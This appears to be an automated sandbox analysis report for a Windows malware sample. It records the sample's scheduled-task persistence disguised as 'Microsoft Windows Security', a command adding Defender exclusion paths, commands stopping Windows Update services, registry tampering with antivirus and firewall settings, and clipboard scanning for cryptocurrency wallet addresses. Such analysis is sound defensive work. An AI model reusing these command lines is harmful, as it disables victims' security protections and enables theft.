Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 2716, Parent PID: 5424

General

Target ID:	45
Start time:	01:28:13
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	45.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	45.3%
Total number of Nodes:	95
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 001410B0 Relevance: 68.7, APIs: 31, Strings: 8, Instructions: 405
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000BB8), ref: 001410BF
DeleteFileW.KERNELBASE(52739528375892398529738), ref: 001410EA
CopyFileW.KERNELBASE(252739579837979d79d797d87,23579327592387592739737875,00000000), ref: 001410F8
FindWindowA.USER32(WinDefucker,00000000), ref: 00141101
MoveFileW.KERNEL32(fuyuyuyuyuyu,7d77w7d7), ref: 00141111
LoadLibraryA.KERNELBASE(00000000), ref: 0014133C
LoadLibraryA.KERNEL32(00000000), ref: 0014135A
LoadLibraryA.KERNELBASE(00000000), ref: 0014137B
LoadLibraryA.KERNELBASE(00000000), ref: 0014139A
GetProcAddress.KERNEL32(00000000,00000000), ref: 001413BD
GetProcAddress.KERNEL32(00000000,00000000), ref: 001413DB
GetProcAddress.KERNEL32(?,00000000), ref: 001413FD
GetProcAddress.KERNEL32(?,00000000), ref: 00141421
GetTickCount.KERNEL32 ref: 0014142D
srand.MSVCR90 ref: 00141434
mbstowcs.MSVCR90 ref: 00141468
mbstowcs.MSVCR90 ref: 001414B8
wsprintfW.USER32 ref: 001414E0
PathFileExistsW.KERNELBASE(?), ref: 001414ED
mbstowcs.MSVCR90 ref: 00141528
mbstowcs.MSVCR90 ref: 00141578
rand.MSVCR90 ref: 00141588

Strings

fuyuyuyuyuyu, xrefs: 0014110C
52739528375892398529738, xrefs: 001410E5
%s\%d%s, xrefs: 001415AB
252739579837979d79d797d87, xrefs: 001410F3
WinDefucker, xrefs: 001410FC
23579327592387592739737875, xrefs: 001410EE
7d77w7d7, xrefs: 00141107
%s\%s, xrefs: 001414DA

Memory Dump Source

Source File: 00000000.00000002.2346757377.0000000000141000.00000020.00000001.01000000.00000003.sdmp, Offset: 00140000, based on PE: true

Associated: 00000000.00000002.2346712739.0000000000140000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346774324.0000000000142000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346797647.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000_Us051y7j25.jbxd

Similarity

API ID: AddressFileLibraryLoadProcmbstowcs$CopyCountDeleteExistsFindMovePathSleepTickWindowrandsrandwsprintf
String ID: %s\%d%s$%s\%s$23579327592387592739737875$252739579837979d79d797d87$52739528375892398529738$7d77w7d7$WinDefucker$fuyuyuyuyuyu
API String ID: 3775488452-3202816608
Opcode ID: 54bc85e6efe7445f0499edc3831fa31da06e252734bbbd1ee02c2a1fb67bb5a4
Instruction ID: ce6e7a46923c035b3d9ded67383e259c6167cb65bfea35eca88147b0902414fb
Opcode Fuzzy Hash: 54bc85e6efe7445f0499edc3831fa31da06e252734bbbd1ee02c2a1fb67bb5a4
Instruction Fuzzy Hash: EBF151B95083419BC324DF64D840EAB77E9AFD9344F44891DF58983271EBB4D5C4CBA2

Analysis Process: 21324.scrPID: 4416, Parent PID: 5348COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.6%
Total number of Nodes:	1491
Total number of Limit Nodes:	8

Executed Functions

Function 0040F1B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoA.KERNELBASE(00000400,00000007,?,0000000A,?,?,00407A28), ref: 0040F1C3
strcmp.NTDLL ref: 0040F1D2

Strings

UKR, xrefs: 0040F1C9

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction ID: 1be06a77ef1098bc08a48f46d8927727b75ba0885e831d13d66ebc3380d14d50
Opcode Fuzzy Hash: 8e44c828f7342be6b1b961f5fa6f40dd4523076a999cbca5f949ecc83b5425ee
Instruction Fuzzy Hash: FDE01276E44308B6DA20A6A0AD02BE6776C6715705F0001B6BE08AA5C1E9B9961DC7EA

Function 00407940 Relevance: 282.5, APIs: 103, Strings: 58, Instructions: 749
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 0040794E
CreateMutexA.KERNELBASE(00000000,00000000,mmn7nnm8na), ref: 0040795D
GetLastError.KERNEL32 ref: 00407969
ExitProcess.KERNEL32 ref: 00407978
GetModuleFileNameW.KERNEL32(00000000,004161D0,00000105), ref: 004079B2
PathFindFileNameW.SHLWAPI(004161D0), ref: 004079BD
wsprintfW.USER32 ref: 004079DA
DeleteFileW.KERNELBASE(?), ref: 004079EA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00407A01
wcscmp.NTDLL ref: 00407A13
ExitProcess.KERNEL32 ref: 00407A32

Strings

AntiVirusOverride, xrefs: 0040828B
Windows Settings, xrefs: 00407AE7, 00407BD9, 00407CE2
EnableWindowsUpdate, xrefs: 0040809B
AntiSpywareOverride, xrefs: 00408155
NoAutoUpdate, xrefs: 00407FC2
DisableWindowsUpdate, xrefs: 00407F69
SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator, xrefs: 0040802D
/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -, xrefs: 00407D40
AntiVirusDisableNotify, xrefs: 004082AA
%s:Zone.Identifier, xrefs: 004079CE
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407B9B
SOFTWARE\Microsoft\Security Center, xrefs: 004080E7
Start, xrefs: 00407E05
SYSTEM\CurrentControlSet\Services\UsoSvc, xrefs: 00407D80
Start, xrefs: 00407E5E
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 004081FE
UpdatesDisableNotify, xrefs: 004082E8
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407CA4
UpdatesOverride, xrefs: 004082C9
%userprofile%, xrefs: 004079FC
Start, xrefs: 00407EB7
UpdatesOverride, xrefs: 004081B2
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407F96
AlwaysAutoUpdate, xrefs: 00407FE1
FirewallOverride, xrefs: 00408117
AntiVirusOverride, xrefs: 00408174
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407EE4
AutoUpdateOptions, xrefs: 0040807C
FirewallDisableNotify, xrefs: 00408136
PreventDownload, xrefs: 004080BA
AntiVirusDisableNotify, xrefs: 00408193
OverrideNotice, xrefs: 00408000
UpdatesDisableNotify, xrefs: 004081D1
%temp%, xrefs: 00407C3F
%s\%s, xrefs: 00407B4D
Start, xrefs: 00407F10
AntiSpywareOverride, xrefs: 0040826C
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407AA9
FirewallOverride, xrefs: 0040822E
%windir%, xrefs: 00407A44
open, xrefs: 00407D65
%s\%s, xrefs: 00407C56
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 00407E32
Start, xrefs: 00407DAC
%s\tbtcmds.dat, xrefs: 00408355
%s\tbtnds.dat, xrefs: 0040833B
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407F3D
open, xrefs: 00407D4A
cmd.exe, xrefs: 00407D60
/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, xrefs: 00407D5B
sysppvrdnvs.exe, xrefs: 00407A07, 00407A4F, 00407B41, 00407C4A
FirewallDisableNotify, xrefs: 0040824D
DisableWindowsUpdate, xrefs: 0040805D
mmn7nnm8na, xrefs: 00407954
%s\%s, xrefs: 00407A5B
SYSTEM\CurrentControlSet\Services\DoSvc, xrefs: 00407E8B
SYSTEM\CurrentControlSet\Services\WaaSMedicSvc, xrefs: 00407DD9
cmd.exe, xrefs: 00407D45

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -$/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait$AlwaysAutoUpdate$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$AutoUpdateOptions$DisableWindowsUpdate$DisableWindowsUpdate$EnableWindowsUpdate$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$OverrideNotice$PreventDownload$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\DoSvc$SYSTEM\CurrentControlSet\Services\UsoSvc$SYSTEM\CurrentControlSet\Services\WaaSMedicSvc$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$Start$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$cmd.exe$cmd.exe$mmn7nnm8na$open$open$sysppvrdnvs.exe
API String ID: 4172876685-159212852
Opcode ID: 14d5bbea81be467e13e3765130848305c9d0a11b32ad18c98a91a2c8bc0bfa95
Instruction ID: 367eef7d7cdc4f6bbf58631969cb55eb0d30a7b17f9c19f9a6cac2e90da0940f
Opcode Fuzzy Hash: 14d5bbea81be467e13e3765130848305c9d0a11b32ad18c98a91a2c8bc0bfa95
Instruction Fuzzy Hash: 245240B1A80318BBE7209BA0DC4AFD97775AB48B15F1081A5B309B61D0D7F5AAC4CF5C

Function 0040F400 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040F40E
memset.NTDLL ref: 0040F41E
CreateProcessW.KERNELBASE(00000000,00407D11,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040F457
Sleep.KERNELBASE(000003E8), ref: 0040F467
ShellExecuteW.SHELL32(00000000,open,00407D11,00000000,00000000,00000000), ref: 0040F482
Sleep.KERNEL32(000003E8), ref: 0040F49C

Strings

open, xrefs: 0040F47B
, xrefs: 0040F491
D, xrefs: 0040F426

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction ID: 03d024a0b9a73c413bf1553ab10d0ee3a8ab15297eec0ef6a9417e1ec1830951
Opcode Fuzzy Hash: 86490e0f5312193f556b58b4939b15177e1386a4ac5e4b01298813237b5ed1b8
Instruction Fuzzy Hash: ED112B71A80308BAEB209B90CD46FDE7778AB14B10F204135FA047E2C0D6B9AA448759

Non-executed Functions

Function 004068E0 Relevance: 105.4, APIs: 47, Strings: 13, Instructions: 407
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,004070E0,?,?,?), ref: 004068E8
wsprintfW.USER32 ref: 0040691F
wsprintfW.USER32 ref: 0040693F
wsprintfW.USER32 ref: 0040695F
wsprintfW.USER32 ref: 0040697F
wsprintfW.USER32 ref: 00406998
wsprintfW.USER32 ref: 004069B8
PathFileExistsW.SHLWAPI(?), ref: 004069C8
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A01
DeleteFileW.KERNEL32(?), ref: 00406A0E
PathFileExistsW.SHLWAPI(?), ref: 00406A1B
PathFileExistsW.SHLWAPI(?), ref: 00406A30
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406A46
DeleteFileW.KERNEL32(?), ref: 00406A53
PathFileExistsW.SHLWAPI(?), ref: 00406A60
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406A73

Strings

%s\%s\rvldrv.exe, xrefs: 004069AC
shell32.dll, xrefs: 00406BFC
shell32.dll, xrefs: 00406C16
shell32.dll, xrefs: 00406C38
shell32.dll, xrefs: 00406C52
%s\%s, xrefs: 00406EC0
%s\%s, xrefs: 00406933
%s\%s, xrefs: 00406973
%s\%s\rvlcfg.exe, xrefs: 00406953
%s.lnk, xrefs: 00406913
%s\*, xrefs: 0040698C
%s\%s, xrefs: 00406E4D
%s\%s\%s, xrefs: 00406EE7

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$AttributesDelete$CreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\rvlcfg.exe$%s\%s\rvldrv.exe$%s\*$shell32.dll$shell32.dll$shell32.dll$shell32.dll
API String ID: 495142193-638321828
Opcode ID: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction ID: 1e7642a3bb229a683b77cec8f60a4b6186945a0df842d4041ba496de3fd539ef
Opcode Fuzzy Hash: bba10b6da6457b63d7fe7870a3bcf93d38d67b95bd357d565e7f9915594a4b88
Instruction Fuzzy Hash: 500270B5900218EBDB20DB60DC44FEA7778BF44705F0485EAF50AA6190DBB89BD4CF69

Function 00404970 Relevance: 71.0, APIs: 24, Strings: 16, Instructions: 989clipboardstringmemoryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 0040498C
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00404D99
StrStrW.SHLWAPI(00000000,cosmos), ref: 00404DC4
StrStrW.SHLWAPI(00000000,addr), ref: 00404DEF
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 00404E8A
StrStrW.SHLWAPI(00000000,ronin:), ref: 00404EA1
StrStrW.SHLWAPI(00000000,nano_), ref: 00404EB8
StrStrW.SHLWAPI(00000000,bnb), ref: 00405458
StrStrW.SHLWAPI(00000000,bc1p), ref: 00405474
StrStrW.SHLWAPI(00000000,bc1q), ref: 00405490
StrStrW.SHLWAPI(00000000,ronin:), ref: 004054B3
StrStrW.SHLWAPI(00000000,bitcoincash:), ref: 004054CD
StrStrW.SHLWAPI(00000000,cosmos), ref: 004054E7
StrStrW.SHLWAPI(00000000,addr), ref: 00405501
StrStrW.SHLWAPI(00000000,nano_), ref: 0040551B
lstrlenA.KERNEL32(00000000), ref: 004055F0
GlobalAlloc.KERNEL32(00002002,-00000001), ref: 0040560B
GlobalLock.KERNEL32(00000000), ref: 0040561E
memcpy.NTDLL(00000000,00000000,-00000001), ref: 0040563C
GlobalUnlock.KERNEL32(00000000), ref: 00405648
OpenClipboard.USER32(00000000), ref: 00405650
EmptyClipboard.USER32 ref: 0040565A
SetClipboardData.USER32(00000001,00000000), ref: 00405666
CloseClipboard.USER32 ref: 0040566C

Strings

cosmos, xrefs: 00404DBB
addr, xrefs: 00404DE6
nano_, xrefs: 00404EAF
bitcoincash:, xrefs: 00404D90
hA, xrefs: 004054A3
addr, xrefs: 004054F8
ronin:, xrefs: 00404E98
8, xrefs: 00405546
bnb, xrefs: 0040544F
cosmos, xrefs: 004054DE
ronin:, xrefs: 004054AA
bitcoincash:, xrefs: 004054C4
nano_, xrefs: 00405512
bitcoincash:, xrefs: 00404E81
bc1q, xrefs: 00405487
bc1p, xrefs: 0040546B

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$lstrlen$AllocCloseDataEmptyLockOpenUnlockmemcpy
String ID: 8$addr$addr$bc1p$bc1q$bitcoincash:$bitcoincash:$bitcoincash:$bnb$cosmos$cosmos$hA$nano_$nano_$ronin:$ronin:
API String ID: 2017104846-250561147
Opcode ID: 25dea65d1d4449a2ef1eae01c065bfd0f7a4c4a1741e3957523323aa1ae31655
Instruction ID: 6e0617124f46e3e1bef08e4e409f6ed46b9961a6860853f8336ff2275e542cf2
Opcode Fuzzy Hash: 25dea65d1d4449a2ef1eae01c065bfd0f7a4c4a1741e3957523323aa1ae31655
Instruction Fuzzy Hash: 609237B0A04218EACF58CF41C0945BE7BB2AF82751F60C06BE9456F294C77D8EC1DB99

Function 004084D0 Relevance: 62.3, APIs: 34, Strings: 1, Instructions: 1037
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_aullshr.NTDLL ref: 004085CD
_allshl.NTDLL ref: 004085E6
_aullshr.NTDLL ref: 004086B4
_allshl.NTDLL ref: 004086CD
_aullshr.NTDLL ref: 00408796
_allshl.NTDLL ref: 004087AF
_aullshr.NTDLL ref: 00408878
_allshl.NTDLL ref: 00408891
_aullshr.NTDLL ref: 0040895A
_allshl.NTDLL ref: 00408973
_aullshr.NTDLL ref: 00408A36
_allshl.NTDLL ref: 00408A4F
_aullshr.NTDLL ref: 00408B12
_allshl.NTDLL ref: 00408B2B
_aullshr.NTDLL ref: 00408BEE
_allshl.NTDLL ref: 00408C07
_aullshr.NTDLL ref: 00408CCA
_allshl.NTDLL ref: 00408CE3
_aullshr.NTDLL ref: 00408DA6
_allshl.NTDLL ref: 00408DBF
_aullshr.NTDLL ref: 00408E82
_allshl.NTDLL ref: 00408E9B
_aullshr.NTDLL ref: 00408F5E
_allshl.NTDLL ref: 00408F77
_aullshr.NTDLL ref: 0040903A
_allshl.NTDLL ref: 00409053
_aullshr.NTDLL ref: 00409116
_allshl.NTDLL ref: 0040912F
_aullshr.NTDLL ref: 004091F2
_allshl.NTDLL ref: 0040920B
_aullshr.NTDLL ref: 004092C8
_allshl.NTDLL ref: 004092E1
_allshl.NTDLL ref: 00409302
_aullshr.NTDLL ref: 00409313

Strings

Y, xrefs: 004084F0

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID: Y
API String ID: 673498613-3233089245
Opcode ID: 535b8406bbf27203a3d06f507e019bd4b957b803c50952899959f8368776a3e9
Instruction ID: 8bc4f449e96fa991b651f766feedb24339ddc98edc011673b3c5a2d60d79d6a0
Opcode Fuzzy Hash: 535b8406bbf27203a3d06f507e019bd4b957b803c50952899959f8368776a3e9
Instruction Fuzzy Hash: 79D23A79D11619EFCB54CF99C18099EFBF1FF88320F62859AD845AB305C630AA95DF80

Function 004084F9 Relevance: 52.0, APIs: 34, Instructions: 1023
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_aullshr.NTDLL ref: 004085CD
_allshl.NTDLL ref: 004085E6
_aullshr.NTDLL ref: 004086B4
_allshl.NTDLL ref: 004086CD
_aullshr.NTDLL ref: 00408796
_allshl.NTDLL ref: 004087AF
_aullshr.NTDLL ref: 00408878
_allshl.NTDLL ref: 00408891
_aullshr.NTDLL ref: 0040895A
_allshl.NTDLL ref: 00408973
_aullshr.NTDLL ref: 00408A36
_allshl.NTDLL ref: 00408A4F
_aullshr.NTDLL ref: 00408B12
_allshl.NTDLL ref: 00408B2B
_aullshr.NTDLL ref: 00408BEE
_allshl.NTDLL ref: 00408C07
_aullshr.NTDLL ref: 00408CCA
_allshl.NTDLL ref: 00408CE3
_aullshr.NTDLL ref: 00408DA6
_allshl.NTDLL ref: 00408DBF
_aullshr.NTDLL ref: 00408E82
_allshl.NTDLL ref: 00408E9B
_aullshr.NTDLL ref: 00408F5E
_allshl.NTDLL ref: 00408F77
_aullshr.NTDLL ref: 0040903A
_allshl.NTDLL ref: 00409053
_aullshr.NTDLL ref: 00409116
_allshl.NTDLL ref: 0040912F
_aullshr.NTDLL ref: 004091F2
_allshl.NTDLL ref: 0040920B
_aullshr.NTDLL ref: 004092C8
_allshl.NTDLL ref: 004092E1
_allshl.NTDLL ref: 00409302
_aullshr.NTDLL ref: 00409313

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 8c609b86bb28d5a081a49b133891f2681c0e63e2cb5ef732c119ad65bfffb674
Instruction ID: affa05b9e3e18e999c7216c09a62115e88c49fe898542c2adc9745ce68515915
Opcode Fuzzy Hash: 8c609b86bb28d5a081a49b133891f2681c0e63e2cb5ef732c119ad65bfffb674
Instruction Fuzzy Hash: 18D22A79D11619EFCB54CF99C18099EFBF1FF88320F62859AD845AB305C630AA95DF80

Function 004059B0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004059BC
SetClipboardViewer.USER32(?), ref: 00405A08
SetWindowLongW.USER32(?,000000EB,?), ref: 00405A1B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00405A70
OpenClipboard.USER32(00000000), ref: 00405AB7
GetClipboardData.USER32(00000000), ref: 00405AC9
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405BD0
ChangeClipboardChain.USER32(?,?), ref: 00405BDE
DefWindowProcA.USER32(?,?,?,?), ref: 00405BF4

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: 2f0b22ba391b773d4c45c64ac6dadd066d7720e91bacc99fadb97576ecf3cd51
Instruction ID: 96d86bc259bd628418629a5c2f452591d45261003c5ffeff5fe086a58ca8b5ae
Opcode Fuzzy Hash: 2f0b22ba391b773d4c45c64ac6dadd066d7720e91bacc99fadb97576ecf3cd51
Instruction Fuzzy Hash: EB711C75A00608EFDF14DFA4D988BEF77B4EB48300F14856AE506B7290D779AA40CF69

Function 004067A0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00406F1A,00000000), ref: 004067AF
wsprintfW.USER32 ref: 004067C5
FindFirstFileW.KERNEL32(?,?), ref: 004067DC
lstrcmpW.KERNEL32(?,00411368), ref: 00406801
lstrcmpW.KERNEL32(?,0041136C), ref: 00406817
wsprintfW.USER32 ref: 0040683A
wsprintfW.USER32 ref: 0040685A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406896
FindNextFileW.KERNEL32(000000FF,?), ref: 004068AA
FindClose.KERNEL32(000000FF), ref: 004068BF
RemoveDirectoryW.KERNEL32(?), ref: 004068C9

Strings

%s\%s, xrefs: 0040682E
%s\*, xrefs: 004067B9
%s\%s, xrefs: 0040684E

Memory Dump Source

Source File: 00000003.00000002.2377734202.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2377717370.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2377793062.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_21324.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction ID: 96f5080d1998a7d60275ba97af61759e4b4e94f5b4bc08b7936e0b3de653678a
Opcode Fuzzy Hash: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
